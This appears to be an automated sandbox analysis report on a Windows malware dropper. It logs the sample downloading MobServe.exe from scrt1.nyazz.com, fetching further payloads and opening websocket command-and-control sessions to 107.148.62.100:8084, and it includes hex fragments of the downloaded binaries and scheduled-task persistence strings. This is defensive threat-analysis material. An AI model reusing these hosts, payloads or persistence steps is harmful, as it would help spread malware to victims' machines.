Dec 18, 2024 13:20:55.448596954 CET	1.1.1.1	192.168.2.10	0x4278	No error (0)	scrt1.nyazz.com		118.107.29.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:21:35.974404097 CET	1.1.1.1	192.168.2.10	0xe56a	Name error (3)	ssh.0523qyfw.com	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:21:37.062426090 CET	1.1.1.1	192.168.2.10	0xce32	No error (0)	www.61xdm.com	61xdm.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 13:21:37.062426090 CET	1.1.1.1	192.168.2.10	0xce32	No error (0)	61xdm.com		107.148.51.200	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49717	154.19.200.133	8087	7852	C:\Users\user\Desktop\T2dvU8f2xg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:20:53.573656082 CET	132	OUT	POST /count HTTP/1.1 Host: 154.19.200.133:8087 Accept: / Content-Length: 0 Content-Type: application/x-www-form-urlencoded

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49833	107.148.62.100	8084	4620	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:21:39.937208891 CET	1024	OUT	GET /?a=w64&h=107.148.62.100&t=ws_&p=8084 HTTP/1.1 Host: 107.148.62.100:8084 Data Raw: 00 00 00 00 00 00 00 26 9a 84 41 f8 7f 00 00 00 00 94 58 f6 7f 00 00 02 00 00 00 f8 7f 00 00 00 00 00 00 00 00 00 00 af f2 2b 3f f8 7f 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 45 45 88 41 f8 7f 00 00 00 50 b6 04 02 00 00 00 02 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 b0 33 d4 58 f6 7f 00 00 e0 31 50 7f fc 01 00 00 ff 9a 84 41 f8 7f 00 00 48 a0 11 59 f6 7f 00 00 00 00 94 58 f6 7f 00 00 02 00 00 00 f8 7f 00 00 e0 31 50 7f fc 01 00 00 00 00 00 00 00 00 00 00 85 03 fe 7f 00 00 00 00 15 00 00 00 00 00 00 00 d3 e6 86 41 f8 7f 00 00 00 12 65 3e f8 7f 00 00 b4 d9 88 41 f8 7f 00 00 00 00 00 00 00 00 00 00 00 20 b5 04 02 00 00 00 00 00 00 00 00 00 00 00 6f df 85 41 f8 7f 00 00 00 12 65 3e f8 7f 00 00 55 79 84 41 f8 7f 00 00 00 00 50 7f fc 01 00 00 b8 99 52 7f fc 01 00 00 00 20 b5 04 02 00 00 00 00 12 65 3e f8 7f 00 00 00 5b 52 7f fc 01 00 00 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 99 52 7f fc 01 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 b0 99 52 [TRUNCATED] Data Ascii: &AX+?EEAP 3X1PAHYX1PAe>A oAe>UyAPR e>[RURRPPURyA=yARUPPPPUA04SPKhKAP0P:MAP0dCAPDDA +APP`SA`Sp
Dec 18, 2024 13:21:41.431766987 CET	189	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Content-Type: application/x-download;charset=utf-8 Content-Disposition:attachment; filename=windows_amd64.exe Content-Length: 19969280

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49948	107.148.62.100	8084	4620	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:22:30.300431967 CET	158	OUT	GET / HTTP/1.1 Host: 107.148.62.100:8084 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Version: 13 Sec-WebSocket-Key: Z01oeZp0RyHViA8BlsX5ww==
Dec 18, 2024 13:22:31.844151020 CET	129	IN	HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: yg3hF0pRtHnjwGP9IqFGHQZFVUI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49959	107.148.62.100	8084	4620	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:22:34.681113958 CET	158	OUT	GET / HTTP/1.1 Host: 107.148.62.100:8084 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Version: 13 Sec-WebSocket-Key: INTaygQMctiSZLxNTEhkuw==
Dec 18, 2024 13:22:36.335210085 CET	129	IN	HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: uk+faUPT3aHLvP8PYwT8KuWqGr8=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49965	107.148.62.100	8084	4620	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:22:37.556770086 CET	158	OUT	GET / HTTP/1.1 Host: 107.148.62.100:8084 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Version: 13 Sec-WebSocket-Key: WR2Jv3jZ9sYECBfB7QiYYw==
Dec 18, 2024 13:22:39.059768915 CET	129	IN	HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: Q5iIK9JKSv0010PGGOrkjNVUInw=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49723	118.107.29.172	443	7852	C:\Users\user\Desktop\T2dvU8f2xg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:20:58 UTC	102	OUT	GET /MobServe.exe HTTP/1.1 User-Agent: Downloader Host: scrt1.nyazz.com Cache-Control: no-cache
2024-12-18 12:20:58 UTC	295	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Dec 2024 12:20:58 GMT Content-Type: application/octet-stream Content-Length: 22998363 Last-Modified: Tue, 17 Dec 2024 10:31:19 GMT Connection: close ETag: "676152f7-15eed5b" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-18 12:20:58 UTC	16089	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 18 00 00 00 00 00 00 5c 54 01 c3 3e 00 00 f0 00 26 00 0b 02 02 2a 00 48 40 00 00 26 79 00 00 12 05 00 f7 10 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 5a 01 00 06 00 00 6b da 5f 01 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd\T>&*H@&y@@Zk_`
2024-12-18 12:20:58 UTC	16384	IN	Data Raw: ef f2 66 0f 6f e6 66 0f 72 f4 0c 66 0f 72 d6 14 66 0f ef f4 66 0f fe d6 66 44 0f ef f2 66 41 0f 6f e6 66 0f 72 f4 08 66 41 0f 72 d6 18 66 44 0f ef f4 66 45 0f fe d6 66 41 0f ef f2 66 0f 6f e6 66 0f 72 f4 07 66 0f 72 d6 19 66 0f ef f4 66 0f fe df 66 44 0f ef fb 66 41 0f 6f e7 66 0f 72 f4 10 66 41 0f 72 d7 10 66 44 0f ef fc 66 45 0f fe df 66 41 0f ef fb 66 0f 6f e7 66 0f 72 f4 0c 66 0f 72 d7 14 66 0f ef fc 66 0f fe df 66 44 0f ef fb 66 41 0f 6f e7 66 0f 72 f4 08 66 41 0f 72 d7 18 66 44 0f ef fc 66 45 0f fe df 66 41 0f ef fb 66 0f 6f e7 66 0f 72 f4 07 66 0f 72 d7 19 66 0f ef fc 66 0f fe c5 66 44 0f ef f8 66 41 0f 6f e7 66 0f 72 f4 10 66 41 0f 72 d7 10 66 44 0f ef fc 66 45 0f fe d7 66 41 0f ef ea 66 0f 6f e5 66 0f 72 f4 0c 66 0f 72 d5 14 66 0f ef ec 66 0f fe Data Ascii: fofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrff
2024-12-18 12:20:59 UTC	16384	IN	Data Raw: 22 78 00 01 b8 01 00 00 00 bb 00 00 02 00 b9 00 40 00 00 e8 2f 44 04 00 83 3d 58 65 7c 00 00 74 13 e8 a1 24 07 00 49 89 03 48 8b 0d 07 22 78 00 49 89 4b 08 48 89 05 fc 21 78 00 48 8b 44 24 50 48 89 44 24 48 66 90 e8 5b 41 07 00 45 0f 57 ff 4c 8b 35 98 62 7c 00 65 4d 8b 36 4d 8b 36 48 8b 05 d2 21 78 00 48 8b 0c 24 31 db 48 8d 7c 24 48 be 01 00 00 00 49 89 f0 45 31 c9 45 31 d2 4d 89 d3 e8 e1 46 04 00 48 8b 44 24 50 e8 d7 04 04 00 eb 2f 80 3d 96 21 78 00 00 74 26 31 c0 e8 c5 04 04 00 c6 05 86 21 78 00 00 48 8d 05 77 21 78 00 e8 d2 01 00 00 48 8b 05 7b 21 78 00 e8 86 4c 04 00 90 90 48 8d 05 5d 21 78 00 e8 38 4f 00 00 48 83 c4 58 5d c3 48 89 44 24 08 e8 88 04 07 00 48 8b 44 24 08 0f 1f 00 e9 7b fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: "x@/D=Xe\|t$IH"xIKH!xHD$PHD$Hf[AEWL5b\|eM6M6H!xH$1H\|$HIE1E1MFHD$P/=!xt&1!xHw!xH{!xLH]!x8OHX]HD$HD${
2024-12-18 12:20:59 UTC	16384	IN	Data Raw: 00 e8 01 27 00 00 83 3d 6a 25 7c 00 00 75 1d 48 8b 4c 24 20 48 89 48 10 44 0f 11 78 18 48 89 c3 48 8d 05 00 e3 47 00 e8 fb 59 06 00 e8 76 e4 06 00 48 8b 4c 24 20 49 89 0b eb d4 48 89 44 24 08 e8 22 c5 06 00 48 8b 44 24 08 eb 9b cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 4a 55 48 89 e5 48 83 ec 20 48 89 44 24 30 48 89 5c 24 38 48 8b 10 b9 01 00 00 00 48 89 c6 48 89 d0 48 89 f3 e8 12 07 06 00 48 89 44 24 18 48 89 c3 48 8b 4c 24 38 48 8b 44 24 30 e8 db 40 06 00 48 8b 44 24 18 48 83 c4 20 5d c3 48 89 44 24 08 48 89 5c 24 10 e8 a1 c4 06 00 48 8b 44 24 08 48 8b 5c 24 10 eb 95 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 4a 55 48 89 e5 48 83 ec 20 48 89 44 24 30 48 89 5c 24 38 Data Ascii: '=j%\|uHL$ HHDxHHGYvHL$ IHD$"HD$I;fvJUHH HD$0H\$8HHHHHD$HHL$8HD$0@HD$H ]HD$H\$HD$H\$I;fvJUHH HD$0H\$8
2024-12-18 12:20:59 UTC	16384	IN	Data Raw: 19 0f b7 7b 52 48 0f af fe 48 03 78 18 0f b6 3f 83 c7 fe 90 40 80 ff 03 72 d7 48 39 f1 75 4e 83 3d 51 e5 7b 00 00 90 74 0c 48 8b 48 18 e8 75 a4 06 00 49 89 0b 48 c7 40 18 00 00 00 00 48 8b 48 28 48 85 c9 74 1d 83 3d 2a e5 7b 00 00 74 0c 48 8b 51 08 e8 4f a4 06 00 49 89 13 48 c7 41 08 00 00 00 00 0f b6 48 08 83 e1 f7 88 48 08 5d c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 e4 84 06 00 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 e9 30 ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 46 01 00 00 55 48 89 e5 48 83 ec 10 89 4c 24 30 48 85 db 0f 84 c3 00 00 00 48 83 3b 00 0f 84 b9 00 00 00 48 89 44 24 20 48 89 5c 24 28 0f b6 4b 08 f6 c1 04 74 1b 48 8d 05 4e d7 4d 00 bb 21 00 00 00 e8 13 a2 02 00 48 8b 44 24 20 48 8b 5c 24 28 80 Data Ascii: {RHHx?@rH9uN=Q{tHHuIH@HH(Ht=*{tHQOIHAHH]HD$H\$HL$HD$H\$HL$0I;fFUHHL$0HH;HD$ H\$(KtHNM!HD$ H\$(
2024-12-18 12:20:59 UTC	16384	IN	Data Raw: e8 02 de 05 00 48 89 d0 b9 88 00 00 00 e8 55 68 06 00 90 48 89 44 24 08 88 5c 24 10 e8 46 45 06 00 48 8b 44 24 08 0f b6 5c 24 10 e9 b7 fd ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 93 01 00 00 55 48 89 e5 48 83 ec 40 48 8d 93 00 20 00 00 0f 1f 80 00 00 00 00 48 39 d3 0f 87 62 01 00 00 48 89 5c 24 58 88 4c 24 60 48 89 d8 48 c1 e8 0d 48 8d 50 01 0f b6 f1 40 88 74 24 1f 48 f7 c3 ff 1f 00 00 48 0f 45 c2 48 89 44 24 28 48 89 c2 48 c1 e2 0d 48 89 54 24 38 48 89 c7 48 89 d0 48 89 fb e8 b1 14 01 00 90 90 48 8d 05 a8 bf 77 00 48 8b 5c 24 28 0f b6 4c 24 1f e8 39 31 01 00 48 85 c0 0f 84 ea 00 00 00 48 89 44 24 20 48 8d 05 04 e8 7b 00 0f 1f 40 00 e8 5b f8 01 00 48 8b 4c 24 38 f0 48 0f c1 48 38 b9 01 00 00 00 f0 48 0f Data Ascii: HUhHD$\$FEHD$\$I;fUHH@H H9bH\$XL$`HHHP@t$HHEHD$(HHHT$8HHHHwH\$(L$91HHD$ H{@[HL$8HH8H
2024-12-18 12:20:59 UTC	16384	IN	Data Raw: 20 5d c3 0f 1f 40 00 e8 5b 05 06 00 eb 99 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 c0 00 00 00 55 48 89 e5 48 83 ec 18 48 8d 05 47 8a 45 00 bb 02 00 00 00 66 90 e8 3b e4 fe ff 48 89 44 24 10 48 8d 05 6f e7 47 00 e8 aa 66 ff ff 48 8d 0d 03 01 00 00 48 89 08 83 3d 09 65 7b 00 00 75 07 48 8b 4c 24 10 eb 0d e8 2b 24 06 00 48 8b 4c 24 10 49 89 0b 48 89 48 08 e8 da ef 02 00 48 8d 05 33 e7 47 00 e8 6e 66 ff ff 48 8d 0d 67 00 00 00 48 89 08 83 3d cd 64 7b 00 00 75 07 48 8b 4c 24 10 eb 0d e8 ef 23 06 00 48 8b 4c 24 10 49 89 0b 48 89 48 08 0f 1f 00 e8 9b ef 02 00 48 8b 44 24 10 31 db e8 cf f3 fe ff 48 8b 44 24 10 31 db e8 c3 f3 fe ff c6 05 34 c6 7b 00 01 48 83 c4 18 5d c3 e8 71 04 06 00 e9 2c ff ff ff cc cc cc cc Data Ascii: ]@[I;fUHHHGEf;HD$HoGfHH=e{uHL$+$HL$IHHH3GnfHgH=d{uHL$#HL$IHHHD$1HD$14{H]q,
2024-12-18 12:20:59 UTC	16384	IN	Data Raw: 24 10 0f 1f 44 00 00 e8 db 08 02 00 8b 44 24 14 e8 92 0e 02 00 48 8d 05 02 2c 4c 00 bb 04 00 00 00 e8 41 11 02 00 8b 44 24 10 e8 78 0e 02 00 48 8d 05 d6 93 4c 00 bb 14 00 00 00 e8 27 11 02 00 e8 02 09 02 00 48 8d 05 6c b1 4c 00 bb 17 00 00 00 e8 b1 5d 05 00 90 e8 0b c5 05 00 e9 46 ff ff ff cc cc cc cc cc cc 49 3b 66 10 0f 86 01 01 00 00 55 48 89 e5 48 83 ec 28 48 8b 4a 08 48 8b 11 0f 1f 80 00 00 00 00 48 39 15 79 a5 76 00 7e 16 80 b8 be 00 00 00 00 74 13 48 8d 42 01 48 89 01 48 83 c4 28 5d c3 48 83 c4 28 5d c3 48 89 44 24 38 90 90 8b 88 98 00 00 00 89 c9 48 89 4c 24 20 48 8b 90 a0 00 00 00 48 89 54 24 18 0f b6 98 be 00 00 00 88 5c 24 17 e8 0b 08 02 00 48 8d 05 fe 28 4c 00 bb 03 00 00 00 e8 7a 10 02 00 48 8b 44 24 38 e8 f0 0f 02 00 48 8d 05 fd 2f 4c 00 bb Data Ascii: $DD$H,LAD$xHL'HlL]FI;fUHH(HJHH9yv~tHBHH(]H(]HD$8HL$ HHT$\$H(LzHD$8H/L
2024-12-18 12:20:59 UTC	16384	IN	Data Raw: 00 00 0f 1f 44 00 00 e8 5b d1 01 00 48 8b 44 24 28 48 8b 4c 24 48 48 01 c8 48 8b 4c 24 20 48 01 c8 e8 81 ce 01 00 48 8d 05 65 fd 4b 00 bb 09 00 00 00 e8 30 d1 01 00 e8 0b c9 01 00 90 48 8b 44 24 78 48 8b 48 68 48 89 4c 24 18 48 8b 50 58 48 89 54 24 60 48 8b 40 60 48 89 44 24 58 e8 85 c8 01 00 48 8d 05 7e e9 4b 00 bb 03 00 00 00 e8 f4 d0 01 00 48 8b 44 24 60 e8 2a ce 01 00 48 8d 05 83 f0 4b 00 bb 06 00 00 00 e8 d9 d0 01 00 48 8b 44 24 18 e8 0f ce 01 00 48 8d 05 2b 10 4c 00 bb 0c 00 00 00 0f 1f 00 e8 bb d0 01 00 48 8b 44 24 18 48 8b 4c 24 58 48 29 c8 e8 c9 ce 01 00 48 8d 05 11 10 4c 00 bb 0c 00 00 00 e8 98 d0 01 00 f2 0f 10 44 24 38 e8 ed ca 01 00 48 8d 05 fe e7 4b 00 bb 01 00 00 00 90 e8 7b d0 01 00 e8 56 c8 01 00 e8 f1 c7 01 00 e8 2c ca 01 00 e8 47 c8 01 Data Ascii: D[HD$(HL$HHHL$ HHeK0HD$xHHhHL$HPXHT$`H@`HD$XH~KHD$`*HKHD$H+LHD$HL$XH)HLD$8HK{V,G
2024-12-18 12:20:59 UTC	16384	IN	Data Raw: 22 00 00 00 0f 1f 00 e8 fb dd 04 00 90 48 89 44 24 08 e8 50 45 05 00 48 8b 44 24 08 e9 a6 fe ff ff cc cc cc cc cc cc 4c 8d a4 24 68 ff ff ff 4d 3b 66 10 0f 86 3b 0f 00 00 55 48 89 e5 48 81 ec 10 01 00 00 49 8b 56 30 83 ba d8 00 00 00 00 75 15 83 ba c0 00 00 00 00 75 0c 4c 89 f6 48 39 32 0f 85 fc 0e 00 00 48 8b 10 84 db 75 07 48 c7 00 00 00 00 00 8b 35 2d c1 77 00 89 74 24 20 90 40 8a 7a 63 0f 1f 40 00 40 80 ff 01 0f 85 4b 0e 00 00 44 8d 46 ff 44 39 42 58 0f 85 3d 0e 00 00 88 9c 24 28 01 00 00 48 89 54 24 38 44 89 44 24 24 80 3d e0 2c 76 00 00 75 06 31 c0 31 c9 eb 21 e8 23 f7 03 00 48 8b 54 24 38 8b 74 24 20 44 8b 44 24 24 48 89 c1 48 89 d8 0f b6 9c 24 28 01 00 00 48 85 c0 74 72 48 89 8c 24 c8 00 00 00 48 8b 72 20 48 c1 e6 0d 48 89 c3 48 89 c8 48 89 f1 e8 Data Ascii: "HD$PEHD$L$hM;f;UHHIV0uuLH92HuH5-wt$ @zc@@KDFD9BX=$(HT$8DD$$=,vu11!#HT$8t$ DD$$HH$(HtrH$Hr HHHH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49825	107.148.51.200	443	4620	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:21:38 UTC	98	OUT	GET /wmob HTTP/1.1 Host: www.61xdm.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-18 12:21:39 UTC	455	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Dec 2024 12:21:36 GMT Content-Type: application/octet-stream Content-Length: 1669 Last-Modified: Mon, 16 Dec 2024 20:46:01 GMT Connection: close ETag: "67609189-685" Strict-Transport-Security: max-age=31536000 Alt-Svc: quic=":443"; h3=":443"; h3-29=":443"; h3-27=":443";h3-25=":443"; h3-T050=":443"; h3-Q050=":443";h3-Q049=":443";h3-Q048=":443"; h3-Q046=":443"; h3-Q043=":443" Accept-Ranges: bytes
2024-12-18 12:21:39 UTC	1669	IN	Data Raw: e8 46 06 00 00 eb 05 dd 58 74 f8 ed 95 ba d9 89 cf d3 76 2e b2 b1 4b c4 5a e1 57 6a 00 45 30 04 09 45 02 04 09 e2 f6 66 8f 8c 8c 8c 0c 38 e4 a8 c6 13 bc c4 13 aa fc 3d 66 87 d1 6e b9 e9 14 b0 44 0c 06 05 fa b0 a9 b5 ed e1 e1 91 90 12 19 3f b8 8c 62 66 66 00 cb aa 6d 88 ae 1b 66 e3 01 35 3e e6 96 dc 5d 3f 67 d0 1d 39 fc 01 99 4a 64 82 e6 7e 31 74 44 d0 42 39 ea 98 85 08 de 91 04 02 71 e2 2e 6d 20 95 75 26 c8 e6 7a 92 55 d0 d8 24 48 08 7e e3 ed ec bf e7 50 dd 99 5c d9 d9 32 bd 0b 66 19 9c 9c 0e 62 8c e4 7c 33 76 66 f2 1e 5e 24 55 a7 56 75 8a a3 d3 b8 38 2e 4b 4f 4f 2f 46 92 61 3e de 80 eb a3 ab d3 d7 d7 a7 1c 45 18 6a 8b b3 b8 b0 96 f5 f1 f1 81 b4 60 6b ab e4 aa c1 a1 a5 eb ef ef 8f 86 9e b4 e7 f2 b8 a9 ec 0c d4 9c 98 98 66 df dd f4 82 dd 8d f6 de c0 f3 f7 Data Ascii: FXtv.KZWjE0Ef8=fnD?bffmf5>]?g9Jd~1tDB9q.m u&zU$H~P\2fb\|3vf^$UVu8.KOO/Fa>Ej`kf

Target ID:	0
Start time:	07:20:50
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\T2dvU8f2xg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\T2dvU8f2xg.exe"
Imagebase:	0x400000
File size:	20'954'448 bytes
MD5 hash:	E94178C1C416647220889FFD3BDECFB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: INDICATOR_EXE_Packed_Enigma, Description: Detects executables packed with Enigma, Source: 00000000.00000000.1315996686.0000000000400000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: INDICATOR_EXE_Packed_Enigma, Description: Detects executables packed with Enigma, Source: 00000000.00000002.3779477780.0000000000400000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	07:21:34
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe"
Imagebase:	0x7ff658940000
File size:	22'998'363 bytes
MD5 hash:	074ED5F745FD9A2EF6F29FD2D9AFB07A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	07:21:37
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
Imagebase:	0x7ff658940000
File size:	22'998'363 bytes
MD5 hash:	074ED5F745FD9A2EF6F29FD2D9AFB07A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:21:41
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe" -silent-dup-error -notrayicon -nolisten inet6 -hostintitle +bs -clipboard -nowgl -multiwindow -noreset :0
Imagebase:	0x400000
File size:	3'455'928 bytes
MD5 hash:	6F1143FB1F02C715CBEF79C271A7E4B6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	07:21:42
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a06188" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm"
Imagebase:	0x400000
File size:	297'998 bytes
MD5 hash:	B2B22157777ED19C9F1369E2D45C1510
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:21:42
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:21:43
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a06188" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm"
Imagebase:	0x400000
File size:	297'998 bytes
MD5 hash:	B2B22157777ED19C9F1369E2D45C1510
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:21:43
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.2%
Total number of Nodes:	982
Total number of Limit Nodes:	14

Executed Functions

Function 1004C35C Relevance: 134.2, APIs: 59, Strings: 17, Instructions: 1192
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000000,DB3A51AF), ref: 1004C39D
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z.MSVCP140(00000000), ref: 1004C3CD
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004C3E4
CoCreateInstance.OLE32(1033A4C4,00000000,00000001,1033A4B4,00000000), ref: 1004C406
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z.MSVCP140(00000000), ref: 1004C436
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004C44D
CoUninitialize.OLE32 ref: 1004C453

Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140(DB3A51AF), ref: 1004EA30
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA61
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA96

Strings

Failed to create exec action: , xrefs: 1004CDD3
Failed to query ILogonTrigger: , xrefs: 1004CBAD
PT10M, xrefs: 1004CC1B
Failed to get task settings: , xrefs: 1004CC5C
Failed to create TaskService instance: , xrefs: 1004C415
Failed to register task: , xrefs: 1004D399
Failed to get action collection: , xrefs: 1004CD3D
Failed to get registration info: , xrefs: 1004C9D0
System, xrefs: 1004CA3E
Failed to create logon trigger: , xrefs: 1004CB15
